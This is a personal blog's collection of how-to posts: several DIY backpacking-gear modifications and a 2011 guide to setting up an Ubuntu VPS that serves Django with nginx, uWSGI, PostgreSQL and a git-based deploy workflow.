pig-monkey.com - howto

Modifying the Outdoor Research Flex-Tex Gaiters

2011-09-08T00:00:00-07:00

I purchased a pair of Outdoor Research Flex-Tex Gaiters last spring. I had owned the full-length Rocky Mountain High Gaiters from Outdoor Research for a year, and was a big fan of them. They are not completely waterproof, but are highly water-resistant, and still maintain a level of breathability that makes them appropriate for year-round use. I find them adequate for protecting my legs when bushwhacking and for keeping me warm and dry when traveling in rain and snow – but I’m always looking to loose weight. My eye had been on the Flex-Tex gaiters for a while. I thought that they would be a good alternative to full-length gaiters during the warmer months: something lighter and cooler which could provide protection from debris but would also handle the wet and snow that is often found in the alpine summer.

When I went to purchase the gaiters, I found that sizing was an issue. Unlike Outdoor Research’s other gaiters, the Flex-Tex do not come in normal sizes. They are offered only in the combination sizes of Small/Medium and Large/Extra Large. In the Rocky Mountain High gaiters I wear a medium. The Small/Medium Flex-Tex gaiters were far too small for me to even get on. The Large/Extra Large gaiters fit well around my footwear, but were loose at the top around my calf. Unlike other gaiters from Outdoor Research, the Flex-Tex had no adjustment to tighten the fit.

I purchased them anyway, thinking to give them a shot. After using them on an early season trip in the snow, it was evident that they would not work. The loose top allowed too much snow to enter the gaiter.

Rather than giving up on the gaiters and immediately returning them, I held on to them for a while. I thought that it would be simple enough to modify the gaiters by adding a new cuff on top of the gaiter, creating a channel of material through which could run a thin piece of webbing. The webbing could be cinched down around the leg and secured with a camlock. This would provide the same adjustment mechanism as that found on my full-length gaiters. It would not be a perfect seal, but short gaiters will never keep out as much debris as tall ones.

The gaiters lay neglected for a while. A few months later I found myself in Seattle Fabrics and wound up purchasing the needed webbing, as well as some stretchy Lycra material which I thought would serve as the added cuff. Then I forgot about the project again.

Eventually, I remembered the gaiters, and wanted to get them done. At that time I had some material left over from hemming a new pair of Kuiu Attack Pants. The Kuiu pants are made out of Toray Primeflex, an impressive soft-shell which I discussed in my review of the Kuiu Guide Gloves. While heavier than the Lycra, I thought that Primeflex would provide more durability and be a better match to the soft-shell of the Flex-Tex gaiters.

The project was a success. With the Primeflex cuff sewn atop the gaiters’ normal cuff and a piece of webbing put through it, I can cinch down the top of the gaiter around my calf and secure it with the camlock buckle. Because the top of the gaiter has not been modified to be permanently smaller, I can still wear the gaiters over pants – although I almost always wear them next to skin. I have not done much post-holing in snow this summer, but the new cuff has provided a tight enough seal to keep out flying snow that comes from glissading down snowy slopes and kicking steps on the way up. Neither rocks, dirt, nor twigs have yet to find their way in.

Now that I have a proper fit, the Flex-Tex gaiters have become my preferred wear. They are breathable, water-resistant, and tough. At 5.29 ounces, the modified gaiters are only slightly lighter than the 6.98 ounces Rocky Mountain High gaiters. It is not a huge difference, but I find that I still prefer the Flex-Tex gaiters. The Rocky Mountain gaiters I never wore specifically for debris. They stayed in my pack until I encountered wet or snow. The Flex-Tex gaiters are comfortable and breathable enough to wear all the time – even when gaiters are not necessarily needed – which makes them more efficient at keeping out debris. For my type of travel, I find the Flex-Tex gaiters more functional than short gaiters that I’ve tried from other companies, such as Integral Designs and Dirty Girl.

DIY Tubular Webbing Belts

2011-08-26T00:00:00-07:00

Many outdoor gear brands sell thin webbing belts. These belts aren’t meant to hold much gear. They simply hold your pants up. The thin, pliable webbing makes for a svelte belt that can be comfortably worn under a pack hip belt or a climbing harness. The webbing also tends to be of a low quality, and the belts are often priced ridiculously high. Why pay $15 for something that you can make yourself at little cost, if not for free?

I had worn a Frequent Flyer Belt from The Wilderness Tactical on a daily basis for a number of years. It is an excellent belt, but I occasionally found the wide and thick webbing, which is appropriate for some uses, to be uncomfortable and cause chafing under the heavy hip belt of my pack. As an experiment, I purchased a Patagonia Friction Belt when it was heavily discounted during a sale. That worked well for a while – it was more comfortable under my pack – but the webbing used was very low quality. It was also still a bit stiff. I thought, why should there be any stiffness at all to the belt? It serves no purpose in the backcountry.

I made my first belt in early March. Initially I intended for it be used only when backpacking, but it proved functional enough that I soon made three more and wear them on a daily basis. The webbing is stiff enough to hold a multi-tool and a knife, which is the most that I carry on my belt these days, both in wilderness environments and urban.

The webbing I used is simple tubular webbing. It is strong, and yet softer and more pliable than most flat webbing, making for a comfortable belt. Any climber most likely has yards of the stuff laying around. I happen to use BlueWater 1” webbing, which exceeds the strength of military-spec webbing, but, in a belt, this is irrelevant. My stitching will certainly blow long before the webbing.

After sewing, I cut the webbing so that the total length of the belt is about 39”. That provides plenty of length to use the belt as improvised lashing, if I ever need it.

I first began using ladderlocs as the buckles. This worked, but I later experimented with using two D-rings. I now prefer the smoother operation of the D-ring buckle. I have experienced no slippage with either type of buckle. Both the ladderlocs and the D-rings I had laying around from previous projects, or from old gear (I always salvage the hardware from old, ratty gear before throwing the rest away).

The total cost to me for all of these belts was zero. If you had to buy the webbing and hardware, you may be looking at around $2. A far cry cheaper than any similar belt you’d find in a store! The total weight of a single belt is 50 grams (1.76 oz).

An Ubuntu VPS for Django

2011-07-19T00:00:00-07:00

Three years ago I wrote a guide to building a VPS web server for serving sites in a PHP environment. That setup served me well for some time, but most of the sites I run now – including this one – are now written in Python. Earlier this year I built another web server to reflect this. It’s similar to before; I still use Ubuntu and I still like to serve pages with nginx. But PHP has been replaced with Python, and many of the packages used to build the environment have changed as a result. As with the last time, I decided to compile my notes into a guide, both for my own reference and in case anyone else would like to duplicate it. So far, the server has proven to be fast and efficient. It serves Python using uWSGI, uses a PostgreSQL database, and includes a simple mail server provided by Postfix. I think it’s a good setup for serving simple Django-based websites.

Basic Setup

As with last time, I recommend following Slicehost’s basic server setup article. It discusses user administration, SSH security, and firewalls. I no longer use Slicehost as my VPS provider, but I find that Slicehost’s articles provide an excellent base regardless of the host.

Packages

Packages should upgraded immediately to address any known security vulnerabilities.

$ sudo apt-get update
$ sudo apt-get upgrade

After the repositories have been updated, I install some essential packages.

1	`$ sudo apt-get install build-essential screen dnsutils`

Build-essential includes necessary tools to compile programs. I am incapable of using a computer that does not have screen on it, so that gets installed too. The third package, dnsutils, is optional, but includes dig which is useful for troubleshooting DNS issues.

DenyHosts

Slicehost’s setup article recommends turning off password authentication in SSH, forcing users to login with keys only. I use keys whenever I can, but I appreciate the option of being able to login to my server from any computer, when I may or may not have my SSH key with me. So I leave password authentication enabled. This presents the possibility of brute-force attacks. Enter DenyHosts. DenyHosts, which I have discussed previously attempts to protect against SSH attacks by banning hosts after a certain number of failed login attempts. When password authentication is enabled, running DenyHosts is a smart move.

$ sudo apt-get install denyhosts
$ sudo vim /etc/denyhosts.conf

Personalize the Environment

I use update-alternatives to set my default editor to vim.

1	`$ sudo update-alternatives --config editor`

All of my personal configuration files are kept in a github repository. I’ll check out that repository into ~/src and install the files.

$ mkdir ~/src
$ cd ~/src
$ sudo apt-get install git-core
$ git clone git://github.com/pigmonkey/dotfiles.git
$ ln -s ~/src/dotfiles/bash_profile ~/.bash_profile
$ ln -s ~/src/dotfiles/bashrc ~/.bashrc
$ ln -s ~/src/dotfiles/bash_aliases ~/.bash_aliases
$ ln -s ~/src/dotfiles/bash_colors ~/.bash_colors
$ ln -s ~/src/dotfiles/vimrc ~/.vimrc
$ ln -s ~/src/dotfiles/vim ~/.vim
$ ln -s ~/src/dotfiles/screenrc ~/.screenrc
$ source ~/.bash_profile

Time

The next step is to set the server’s timezone and sync the clock with NTP.

$ sudo dpkg-reconfigure tzdata
$ sudo apt-get install ntp

Rootkits

There’s no reason not to run both chkrootkit and rkhunter to check for rootkits and related vulnerabilities.

chrkrootkit

Slicehost has an excellent article for setting up and using chkrootkit.

Later on I’ll be installing some Python development packages. One of them creates a directory called /usr/lib/pymodules/python2.6/.path, which sets off a warning in chkrootkit. Part of chkrootkit’s desgin philosophy is to not include any whitelists: if chkrootkit finds something that it doesn’t like, you’re going to hear about it. I have cron run chkrootkit nightly and I want to receive any warnings, but I don’t want to receive the same false positive every morning in my inbox.

The solution is to create a file that contains chkrootkit’s warning. I call that file whitelist and store it in the same directory as chkrootkit. When chkrootkit is run, any output is redirected to a file. That file is compared to the whitelist using diff and the output of that – if any – is then read. At the end, the file containing chkrootkit’s output is deleted so that the working directory is ready for the next run. The effect is that I only hear warnings from chkrootkit that I have not explicit whitelisted. All of this can be accomplished in a single crontab entry.

0 3 * * * (cd /home/demo/src/chkrootkit-0.49; ./chkrootkit -q > message 2>&1; diff -w whitelist message; rm -f message)

rkhunter

I’m sure it doesn’t surprise you that I’m going to recommend reading Slicehost’s article on rkhunter.

Unlike chkrootkit, rkhunter does allow for whitelists. On a clean Ubuntu 10.04 system, I find that I need to whitelist a few items in the config.

$ sudo vim /etc/rkhunter.conf

SCRIPTWHITELIST="/usr/sbin/adduser /usr/bin/ldd /bin/which"
ALLOWHIDDENDIR="/dev/.udev /dev/.initramfs"
APP_WHITELIST="openssl:0.9.8k gpg:1.4.10"

$ sudo /usr/local/bin/rkhunter --propupd

The script that my cronjob runs is slightly different from the one demonstrated in the Slicehost article. Their script executes a few commands, groups the output together, and sends it to mail to email the system administrator. This results in daily emails, regardless of whether rkhunter finds any warnings or not. My script is simpler and does not result in so many messages.

#!/bin/sh
/usr/local/bin/rkhunter --versioncheck -q
/usr/local/bin/rkhunter --update -q
/usr/local/bin/rkhunter --cronjob --report-warnings-only

The version check and update commands both have the -q switch, which disables any output – I don’t care to know whether rkhunter updated itself or not. The final line actually executes the scan. Notice that there’s no reference to mail. This script does not send any messages. The reason for that is that rkhunter itself provides the mail functionality. Inside of /etc/rkhunter.conf there is a MAIL-ON-WARNING variable. As long as the machine has an smtp server on it (which I’ll get to later in this guide), simply filling in this variable will result in any warnings being emailed to the system administrator.

Web Server

With the basics complete, it’s time to start serving something! In my previous article I covered serving a PHP-based Wordpress site via FastCGI and nginx. This time around the stack will be different: nginx, uWSGI, Python, and Django.

A few basic packages will help flesh out the server’s Python development environment:

$ sudo apt-get install python-psycopg2 python-setuptools python2.6-dev psmisc python-imaging locate python-dateutil libxml2-dev python-software-properties

uWSGI

Installing uWSGI is a simple matter of compiling it and moving the resulting binary into one of your system’s bin directories.

$ cd ~/src/
$ wget http://projects.unbit.it/downloads/uwsgi-0.9.8.tar.gz
$ tar xvzf ~/uwsgi-0.9.8.tar.gz
$ cd uwsgi-0.9.8/
$ make -f Makefile.Py26
$ sudo cp uwsgi /usr/local/sbin

nginx

The nginx package in Ubuntu’s official repositories is always notoriously outdated. It used to be you had to compile the server from source, but there is now an Ubuntu PPA for the latest stable versions. As described by the nginx wiki, all that is needed is to add the PPA to your sources.list and apt-get away!

$ sudo add-apt-repository ppa:nginx/stable
$ sudo apt-get update 
$ sudo apt-get install nginx

Python and Django

If you do Python development and haven’t heard of virtualenv, it is well worth reading up on. It allows the user to create an isolated, virtual Python environment for each project. This helps immensely when developing (or serving) multiple projects on a single machine. Needless to say, I consider it to be a required package.

Install

I’ll be installing virtualenv and virtualenvwrapper (a set of scripts to facilitate working with virtual environments). I also prefer pip over easy_install for managing Python packages.

$ sudo easy_install -U pip 
$ sudo pip install virtualenv
$ sudo pip install virtualenvwrapper

Setup a virtual environment

Virtual environments can be stored wherever you fancy. For now, I keep them in a hidden folder in my home directory. For these examples, I’ll setup an environment called myproject.

$ mkdir ~/.virtualenvs
$ cd ~/.virtualenvs
$ virtualenv --no-site-packages --distribute myproject

Notice the --no-site-packages switch. That tells virtualenv to create this environment without any of the Python packages already installed, creating a completely fresh, clean environment. The --distribute switch causes the new virtual environment to be setup with distribute, a replacement for the old and rather broken setuptools.

All that’s needed to get virtualenvwrapper up and running is to add two lines to your .bashrc and re-source the file.

$ vim ~/.bashrc

export WORKON_HOME=$HOME/.virtualenvs
source /usr/local/bin/virtualenvwrapper.sh

$ . ~/.bashrc

We can now use commands like workon to ease the process of activating a certain environment.

I’ll go ahead and install yolk in the environment to help manage packages.

$ workon myproject
$ pip install yolk
$ yolk -l

The last command will cause yolk to list all packages installed in the environment. Try deactivating the environment and then running yolk again.

$ deactivate
$ yolk -l
yolk: command not found

‘yolk’ wasn’t found, because it was only installed within the virtual environment. Neat!

Install Django

Finally, it’s time to install Django! The process is simple enough.

$ workon myproject
$ pip install django

And that’s it!

The Python Imaging Library is likely to be needed for any Django project. I installed it in the beginning of this section, but because I used the --no-site-packages when creating my virtual environment, it is not available for use within the project. To fix that, I’ll just link the package in. I also previously installed psyopg2, which Python will need to communicate with my PostgreSQL database, so I’ll link that in as well. psyopg2 depends on mx, which was also previously installed but still must be made available in the environment.

$ cdsitepackages
$ ln -s /usr/lib/python2.6/dist-packages/PIL
$ ln -s /usr/lib/python2.6/dist-packages/PIL.pth
$ ln -s /usr/lib/python2.6/dist-packages/psycopg2
$ ln -s /usr/lib/python2.6/dist-packages/mx

That wasn’t too painful!

Create a Django project

While I’m still in the virtual environment, I’ll go ahead and create a new Django project. The project will have the same name as the environment: myproject. For this tutorial, I’ll stick with the precedence set by the Slicehost tutorials and use demo as the name of both my user and group on the server.

I like to keep my sites in the /srv/ directory. I structure them so that the code that runs the site, any public files, logs, and backups are all stored in separate sub-directories.

$ cd /srv/
$ sudo mkdir -p myproject.com/{code,public,logs,backup}
$ sudo mkdir -p myproject.com/public/{media,static}
$ sudo chown -R demo:demo myproject.com
$ cd myproject.com
$ sudo chown -R :www-data logs public
$ sudo chmod -R g+w logs public
$ cd code/
$ django-admin.py startproject myproject

Notice that the logs and public directories were chowned to the www-data group. That is the name of the user and group that nginx will run as. The web server will need permissions to write to those locations.

Save Requirements

With the environment setup and all the necessary packages installed, now is a good time to tell pip to freeze all the packages and their versions. I keep this file in a deploy folder in my project.

$ mkdir /srv/myproject.com/code/deploy
$ pip freeze > /srv/myproject.com/code/deploy/requirements.txt

Now, if I needed to recreate the virtual environment somewhere else, I could just tell pip to install all the packages from that file.

1	`$ pip install -r /srv/myproject.com/code/deploy/requirements.txt`

Configure uWSGI

Now that I have something to serve, I’ll configure uWSGI to serve it. The first step is to create a configuration file for the project. I call mine wsgi.py and store it in /srv/myproject.com/code/myproject/. It appends the current directory to the Python path, specifies the Django settings file for the project, and registers the WSGI handler.

import sys
import os

sys.path.append(os.path.abspath(os.path.dirname(__file__)))
os.environ['DJANGO_SETTINGS_MODULE'] = 'myproject.settings'

import django.core.handlers.wsgi

application = django.core.handlers.wsgi.WSGIHandler()

With that done, the next step is to decide how uWSGI should be run. I’m going to use Ubuntu’s upstart to supervise the service. I keep the upstart script in my project’s deploy/ directory.

$ vim /srv/myproject.com/code/deploy/uwsgi.conf

description "uWSGI server for My Project"

start on runlevel [2345]
stop on runlevel [!2345]

respawn
exec /usr/local/sbin/uwsgi \
--home /home/demo/.virtualenvs/myproject/ \
--socket /var/run/myproject.com.sock \
--chmod-socket \
--pythonpath /srv/myproject.com/code/ \
--module myproject.wsgi \
--process 2 \
--harakiri 30 \
--master \
--logto /srv/myproject.com/logs/uwsgi.log

Sadly, upstart doesn’t seem to recognize links. Rather than linking the config file into /etc/init/, I have to copy it.

$ sudo cp /srv/myproject.com/code/deploy/uwsgi.conf /etc/init/uwsgi-myproject.conf

Configure nginx

Nginx’s configuration is pretty straight-forward. If you’ve never configured the server before, Slicehost’s articles can set you down the right path. My own nginx config looks something like this:

user www-data www-data;
worker_processes 4;
pid /var/run/nginx.pid;

events {
        worker_connections 768;
        use epoll;
}

http {

    ##
    # Basic Settings
    ##

    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 30;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    ##
    # Gzip Settings
    ##

    gzip on;
    gzip_disable "msie6";
    gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;
    gzip_proxied any;
    gzip_comp_level 2;

    # gzip_vary on;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}

I keep the virtual host config for my project inside the project’s code/deploy/ directory. A basic virtual host for a Django project would looks like this:

server {
    listen 80;
    server_name www.myproject.com;
    rewrite ^/(.*) http://myproject.com/$1 permanent;
}

server {
    listen 80;
    server_name myproject.com;

    access_log /srv/myproject.com/logs/access.log;
    error_log /srv/myproject.com/logs/error.log;

    location /media {
        root /srv/myproject.com/public/;
    }

    location /static {
        root /srv/myproject.com/public/;
    }

    location / {
        uwsgi_pass unix:///var/run/myproject.com.sock;
        include uwsgi_params;
    }
}

To install and enable the virtual host, I’ll link the configuration file first to the nginx sites-available directory, and then link that link to the sites-enabled directory.

$ sudo ln -s /srv/myproject.com/code/deploy/nginx.conf /etc/nginx/sites-available/myproject.com
$ sudo ln -s /etc/nginx/sites-available/myproject.com /etc/nginx/sites-enabled/myproject.com

SSL

If you need to encrypt communications, Linode has a tutorial on using both self-signed certificates and commercial certificates with nginx.

Fire it Up

Nginx should be set to talk to uWSGI, which should be set to talk to the Django project. Time for a test run!

$ sudo start uwsgi-myproject
$ sudo /etc/init.d/nginx start

memcached

Django has a very good built-in cache framework. I like to take advantage of it with a memory-based backend: namely, memcached. It’s fast, efficient, and easy to setup.

All that’s needed is to install memcached on the server, followed by the Python API python-memcached.

$ sudo apt-get install memcached
$ workon myproject
$ pip install python-memcached

The default configuration file in Ubuntu lives at /etc/memcached.conf. I usually stick with the defaults, but sometimes end up changing the port that memchached runs on or the amount of memory it is allowed to use.

logrotate

With the web server more-or-less complete, I like to setup logrotate to manage the logs in my project’s directory. Once again, Slicehost has an excellent introduction to logrotate and an example config for virtual hosts.

I maintain a configuration file for each of the domains being served by the machine. The file for a domain lives in – you guessed it – the associated project’s deploy/ folder. Each contains two entries: one for the nginx virtual host and one for the uWSGI instance. The reason for this is that each config block needs a postrotate section to restart the associated server after the logs have been rotated. I don’t want nginx to be restarted everytime a uWSGI log is rotated, and I don’t want uWSGI restarted everytime an nginx log is rotated.

$ vim /srv/myproject.com/code/deploy/logrotate

/srv/myproject.com/logs/access.log /srv/myproject.com/logs/error.log {
    rotate 14
    daily
    compress
    delaycompress
    sharedscripts
    postrotate
        [ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
    endscript
}

/srv/myproject.com/logs/uwsgi.log {
    rotate 14
    daily
    compress
    delaycompress
    postrotate
       restart --quiet uwsgi-myproject
    endscript
}

This file is linked in to the /etc/logrotate.d/ directory. Logrotate will automatically include any file in that directory inside its configuration.

$ sudo ln -s /srv/myproject.com/code/deploy/logrotate /etc/logrotate.d/myproject

Database Server

A web server isn’t much use without a database these days. I use PostgreSQL.

Install

1	`$ sudo apt-get install postgresql`

Configure

PostgreSQL has some unique terminology and ways of doing things. When I first set it up for the first time, having coming from a MySQL background, not everything was completely straightforward. As usual, Slicehost has a number of articles that will provide a foundation.

In the /etc/postgresql/8.4/main/postgresql.conf file, I uncomment the following two lines:

track_counts = on
autovacuum = on

Then restart the database server.

1	`$ sudo /etc/init.d/postgresql-8.4 restart`

After that I’ll change the password for the postgres user and the postgres database role.

$ sudo passwd postgres
$ sudo -u postgres psql
\password postgres
\q

To allow local socket connections to the database using passwords, I open up /etc/postgresql/8.4/main/pg_hba.conf and find the following line:

local   all         all                               ident

Which I then change to:

local   all         all                               md5

After which another restart is in order.

1	`$ sudo /etc/init.d/postgresql-8.4 restart`

Create a database

The next step is to create a user (or role, in PostgreSQL’s parlance) and database for the project. I use the same name for both.

$ sudo -u postgres createuser -PE myproject
$ sudo -u postgres createdb -O myproject myproject

After that, I should be able to connect.

1	`$ psql -U myproject`

Import the Database

If I’m restoring a previous database from a backup, now would be the time to import the backup.

1	`$ psql -U myproject < myproject.postgresql`

And now Django should be able to connect!

The basic server is setup and secure. Django, uWSGI, nginx and PostgreSQL are all running and getting along swimmingly. At this point, many people would be done, but I also like to have a minimal mail server.

Mail Server

Most of my domains use Google Apps, so I don’t need a full-blown mail server. I do want programs and scripts to be able to send mail, and I prefer not to do so through an external SMTP server – I’d rather just deal with having sendmail running on my own box. And I do have a few domains that do not use Google Apps. They have one or two aliases associated with them, so the server needs to receive messages for those domains and forward them off to an external address. If any of this sounds vaguely familiar, it’s because it’s the same thing I detailed last time. My setup now is the same as then, so I won’t repeat any of it here.

For a more detailed explanation of running Postfix, you can read the Slicehost articles.

A Note on Git

I use Git to keep track of the code for all my projects. (If you’re new to Git, you ought to skim the Git Reference or Everyday GIT With 20 Commands Or So). To manage websites, I create a repository of the directory with the code that runs the site (in this case, /srv/myproject.com/code/) and another empty, bare repository to work as a hub. With a post-update and post-commit, the end result is an excellent web workflow:

A copy of the hub can be checked out on a local machine for development. Whenever a change is committed, a simple git push will push the code to the web server and automatically make it live.
Changes can be made on the server in the actual live website directory. (This is not a best practice, but I do it more often than I should probably admit.) Whenever a change is committed, it is automatically pushed to the hub, so that a simple git pull is all that’s needed on the development machine to update its repository.

A more detailed explanation of this workflow is at Joe Maller’s blog.

To start, I need to create a repository for the new project I created in this tutorial. And, since this is a new server, I need to give Git my name and email address to record with every commit.

$ git config --global user.name "Pig Monkey"
$ git config --global user.email "pm@pig-monkey.com"
$ cd /srv/myproject.com/code/
$ git init

Before adding the files, I create a .gitignore file in the repository root to tell Git to ignore compiled Python files.

$ vim .gitignore

*.pyc

Now I add all the files to the repository, confirm that it worked, and commit the files.

$ git add .
$ git status -s
$ git commit -m "Initial commit of myproject.com"

I create the bare hub directory directly along side the projects code/.

$ cd ../
$ mkdir hub.git
$ cd hub.git
$ git --bare init

With the hub created, I need to add it as the remote for the main repository and push the master branch to it.

$ cd ../code
$ git remote add hub /srv/myproject.com/hub.git
$ git remote show hub
$ git push hub master

Now the hub needs a post-update script so that every time something is pushed to it, that change is automagically pulled into the live website directory.

$ vim /srv/myproject.com/hub.git/hooks/post-update

#!/bin/sh
echo
echo "**** Pulling changes into live"
echo

cd /srv/myproject.com/code || exit
unset GIT_DIR
git pull hub master

exec git-update-server-info

$ chmod +x /srv/myproject.com/hub.git/hooks/post-update

And the live website directory requires a post-commit script so that every time something is committed inside of it, that change is automagically pushed to the hub.

$ vim /srv/myproject.com/code/.git/hooks/post-commit

#!/bin/sh
echo
echo "**** pushing changes to Hub"
echo

git push hub

$ chmod +x /srv/myproject.com/code/.git/hooks/post-commit

All that’s left is to check out the hub onto the development machine – my laptop, in this case!

$ mkdir ~/work/myproject/
$ cd ~/work/myproject/
$ git clone ssh://myserver.com/srv/myproject.com/hub.git code

To test things out, we can add a file to the repository on the development machine.

$ cd code/
$ touch test
$ git add test
$ git commit -m "A test"
$ git push

Now go back to the server, and the file should be there! To test things the other way around, I’ll delete the file from the live repository.

$ cd /srv/myproject.com/code/
$ ls
myproject test
$ git rm test
$ git commit -m "Removing the test file"

And once again to the development machine:

$ git pull
$ ls
deploy  myproject

No more test! It’s pretty dandy.

Restoring

If I was building a new server and restoring a project from an old server, I would simply mirror the old hub and then clone that in the live directory.

$ cd /srv/myproject.com/
$ git clone --mirror ssh://myoldserver.com/srv/myproject.com/hub.git
$ git clone hub.git code/

Resources

Prior to building this server, I was new to a lot of this – particularly, uWSGI and virtualenv. The following tutorials helped me a good deal in putting together the perfect setup for my needs.

A Primer on virtualenv by Chris Scott
A web-focused Git workflow by Joe Maller
Deployment with uWSGI and nginx by Zachary Voase
Django on uWSGI and Nginx by Brandon Konkle
Django, Nginx and uWSGI in production by Jeremy Bowers
Notes on using pip and virtualenv with Django by Eliot
Presentation: pip and virtualenv by Rich Leland
Provisioning a new Ubuntu server for Django by Brandon Konkle
Running Django with Nginx and uWSGI by Simon Westphahl
virtualenvwrapper Command Reference
Working with virtualenv by Arthur Koziel

DIY Platypus Pre-Filter Cap

2010-07-13T00:00:00-07:00

Although I have misgivings about their durability, Platypus‘ 2L+ bottles remains the primary water reservoirs in my pack. It’s been a bit over a year now since I started using them. At the same time I switched over to Platypus, I also started treating my water with chemicals rather than filtering it. Both methods of treatment have their advantages and disadvantages, but lately I have been using chemicals almost exclusively.

A water filter, of course, filters out not only the invisible nasties that upset the stomach, but also the visible things things that don’t cause much harm but aren’t altogether pleasant: dirt, dead bugs, small rocks, and the like. When I moved to using chemicals I was just dumping the water into my drinking vessel direct from the source. Without any sort of filter, the water could sometimes be a bit gritty. Too textured for my taste.

As a first attempt to solve this I started to place a bandanna over the opening of the Platypus, and then poured the source water over that. That worked great for getting out the sediment, but then I had the problem of having a wet rag. If the sun is out, it dries, but the other 307 days of the year, the bandanna – even a synthetic Buff – became a bit of a hassle to dry. I wanted some sort of pre-filter that I could get wet without worrying about it.

The solution (like more than a few before it) came while browsing the BackpackingLight forums.

A filter washer is a rubber washer with a mesh screen in the middle. Apparently they’re used in garden hoses and washing machines to remove sediment. I was able to find them easily in the plumbing section of a local hardware store.

I took an old Platypus cap and drilled out the center of it. Then, with a little Gorilla Glue, glued the filter washer onto the cap. That’s all there is to it! The new pre-filter cap weighs 2 grams (0.07 oz) and shouldn’t cost much more than $1 to make.

The downside to the pre-filter cap is that it does noticeably decrease the flow rate of the water. To fill the Platypus, I use a scoop made out of an older Platypus bottle with the top cut off. Without the pre-filter cap, it takes all of 30 seconds to fill the Platypus bottle. With the pre-filter cap, it takes something more like 2 minutes to fill up the bottle. I have to pour the water out of the scoop much more slowly. Because of this I’ll sometimes forgo using the pre-filter cap if the water looks very clean, but the majority of the time I do use the cap. It’s become a permanent addition to my pack.

DIY Water Measuring Doohickey

2010-05-22T00:00:00-07:00

When I purchased my Trail Designs Ti-Tri Titanium Stove System, I bought it with a 900mL pot from Titanium Goat. I like the pot, but it has one shortcoming: there are no measuring marks on it. I’m not comfortable just pouring a little water into a pot and saying “Well, that looks like 2 cups.” I prefer a slightly higher level of accuracy.

Originally I addressed this by scoring the handle of my spork to mark 1, 2, and 3 cups measured in the pot – an idea which I think originally came to me from somewhere on the BackpackingLight Forums. This method works ok – though making the marks deep enough to be visible on the titanium was a bit tough with my knife – but I’ve never felt that it is very accurate. It will tell me if I have roughly 1 cup of water in the pot, but I could really be anywhere between 3/4 of a cup to 1 1/4 cups. That’s the difference between nice, fluffy couscous and overly soggy (or dry and undercooked) couscous, you know.

As a more accurate replacement, I came up with the idea for the Water Measuring Doohicky: a piece of paper with marks on it. Ingenious, isn’t it?

For the paper, I chose a cut a piece out of a page in one of my Rite in the Rain notebooks. Then I put 1/2 cup of water into the pot, set in the paper, noted the water line, took out the paper and marked the water line. This was repeated at 1/2 cup increments up to 3 cups. (The pot holds 4 cups when filled to the rim, so 3 cups is the most I would ever want to cook with.) After I had all the marks determined, I cut an identical piece of paper and put marks at the same levels. Then I tossed the soggy paper and was left with a fresh, dry piece of waterproof paper with the appropriate marks.

As a poor-man’s lamination, I wrapped it with clear packing tape. Even though the Rite in the Rain paper is waterproof, it gets a little soggy when submerged and takes a while to dry out. Water doesn’t cling to the tape at all. I can give it a shake or two after taking it out of the pot and it is immediately dry. The tape also adds a little stiffness, which helps achieve more accurate measurements.

I made two of these doohickeys at the same time, but have been using only one since last Fall. It works great. I am somewhat embarrassed it took me almost a year to come up with the idea. Even though I only made marks at 1/2 cup increments, the grid on the paper allows me to easily measure with 1/4 cup accuracy. As opposed to the marks on the spork, this paper is one extra thing to carry, but when placed on my scale it doesn’t register. I don’t think it weighs me down any.

I had done the lamination before I thought of this, but next time around I think I will write common cooking ratios on the back: water to couscous, water to dehydrated brown rice, etc. Usually I write those ratios on the ziploc freezer bags that hold my food, but the bags get replaced and rotated fairly frequently. The Water Measuring Doohickey has proved that it will last for a longer period of time.

DIY Field Notebook Hack

2010-05-21T00:00:00-07:00

Here’s an idea I stole from the excellent BFE Labs: hacking a Rite in the Rain notebook to include a retention strap. The original idea at BFE was just a strap to keep the notebook closed and contain loose leafs that were shoved inside, but while making the strap he accidentally cut the webbing too short. To solve this he sewed on another piece of webbing as an extension and found that the overlap between the two pieces made a good pen holder.

I thought this was a neat idea, but the tri-glide fastener used in BFE’s version seemed a little cumbersome. I knew I would want some sort of quick release buckle. A traditional side release buckle would be too bulky for my tastes, particularly when the notebook is shoved in a pocket. The other thought I had was that using elastic webbing for the pen loop might increase the versatility of the strap, since it could expand to fit different sized tools.

I didn’t have any 1” elastic webbing hanging about, but I did have some spare webbing and an old buckle from a previous project. With those two things along with a knife and my repair kit, I set out to see what I could do about whipping up some kind of strap.

My initial intention was to create the pen loop the same way as the BFE strap: cut one strap short and sew on an extension piece with a bit of an overlap. But before I got to that part, I had to sew one end of the buckle onto the webbing. In preparing to do this, I realized that I would already be sewing a loop right there. I could just pull a bit more webbing through the buckle to create my overlap, throw in a stitch to hold down the end of the webbing, another stitch closer to the buckle, and between the two I would have the perfect loop for my pen. Simple.

On the back of the notebook I created two slits for the webbing to pass in and out of, just like in the BFE hack (except I used my knife rather than a Dremel tool).

I’m happy with how this hack came out and will probably perform it on my other Rite in the Rain notebooks. The whole process takes only a few minutes and does not strain my juvenile sewing skills. My one complaint is with the buckle that I happened to choose. I appreciate the low profile, center-release design, but the male end of it doesn’t grip the webbing very well. This means that while it is adjustable, it doesn’t hold much tension, and so the buckle doesn’t snap open as much as it should when I release it. I’m thinking of sewing the webbing down on the male end of the buckle just like I did on the female end. The strap would no longer be adjustable, but I could be guaranteed the proper tension and that the buckle would open with the speed and ease which I desire. This would also present the opportunity for me to create another loop to hold a second tool. Perhaps a pencil or a highlighter to go along with the pen.

Mora Sheath Modifications

2009-12-05T00:00:00-08:00

The greatest disappointment about any Mora knife is the sheath: a flimsy, plastic thing that won’t easily fit on a decent sized belt and does not even hold the knife very securely. As they come, I consider them unusable. But a few simple modifications and additions make them quite acceptable.

